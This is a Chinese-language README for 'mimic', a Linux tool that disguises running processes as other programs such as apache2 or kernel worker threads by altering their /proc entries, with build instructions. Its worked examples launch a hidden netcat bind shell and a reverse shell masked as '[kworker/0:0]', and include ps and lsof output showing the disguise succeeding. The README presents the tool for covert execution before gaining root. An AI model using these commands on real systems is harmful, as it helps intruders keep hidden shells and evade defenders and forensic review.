mimic 是一个用于 Linux x86_64 上隐蔽执行的工具。
什么是“隐蔽执行”?
隐蔽执行是一门隐藏进程的艺术。在本例中,mimic 将进程隐藏于众目睽睽之下。mimic 可以启动任何程序,并使其看起来像任何其他程序。任何用户都可以使用它。它不需要特殊权限。它不需要特殊的二进制文件。它不需要 root 套件。
什么?!不需要特殊权限??
没错。mimic 通过重新排列进程内部结构的方式,混淆该进程的 /proc 条目。所有报告进程性质的工具都是通过查看 /proc 来实现的。如果我们能够扭曲 /proc,那么我们就可以在众目睽睽之下隐藏进程。由于我们只是修改了属于我们自己的进程的状态,所以任何人都可以成功运行 mimic。
这可以被检测到吗?!
当然可以,但只有当你非常仔细地查看,或者运行专门寻找此类情况的取证工具时才能发现。mimic 的实用性在于,它首先就能防止他人起疑。
这能对脚本生效吗?
可以,但你需要直接在解释器上调用 mimic。例如,如果你的脚本第一行是 #!/usr/bin/perl,那么你应该这样调用 mimic:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"
通过直接调用解释器,mimic 才能施展它的魔法。
mimic 的目标受众是谁?
任何在获取 root 权限之前合法需要隐蔽执行的人。包括但不限于:
为什么叫 “mimic”?
因为 “Liar, liar, /proc on fire!” 太长了。
什么是 “set_target_pid”?
set_target_pid 是 mimic 套件中的一个辅助小工具,它会耗尽进程 PID 直到你想要的 PID 重新出现。这允许你选择你的进程在进程列表中的位置。请注意,内核保留了前 300 个 PID 给内核线程。如果你试图低于这个数字,你很可能最终会使用 PID 301 运行。
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e 执行 COMMAND。
-m 将 COMMAND 设置为看起来像 MIMIC。
非 root 用户的默认值: "/usr/sbin/apache2 -k start"
root 用户的默认值: "[kworker/0:0]"
-b 在后台启动 COMMAND。
-a 向 _mimic_ 环境添加 / 覆盖 KEY 并关联 VALUE。
-q 安静模式!不打印正常输出。
-h 打印本帮助信息。
注意:
_mimic_ 环境将是 COMMAND 环境的一个副本。
'_' 变量会自动更改。
-a 标志可以多次调用以添加 / 覆盖多个变量。
示例:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
第一个示例 – 以普通用户身份启动一个 netcat 监听器:
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main()... Success!
Building execution headers... Success!
Setting up final state... Success!
Good-bye and have a good luck! :)
empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache
empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
第二个示例 – 以 root 身份启动一个 netcat 反向 shell:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
你能发现伪造的 kworker 吗?没有 grep 的帮助你能发现吗?
root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
当然,kworker 不应该有打开的套接字,但我相信你在命名选择上可以比这更有创意。:)
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
请注意,我在这里以 root 身份运行,只是因为 kworker 线程以非 root 用户身份运行时应该会非常可疑。新的 mimic 名称只是一个字符串。它不必是现有进程。见鬼,它甚至不必是一个真实的东西!
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/mimic.git
cd mimic
make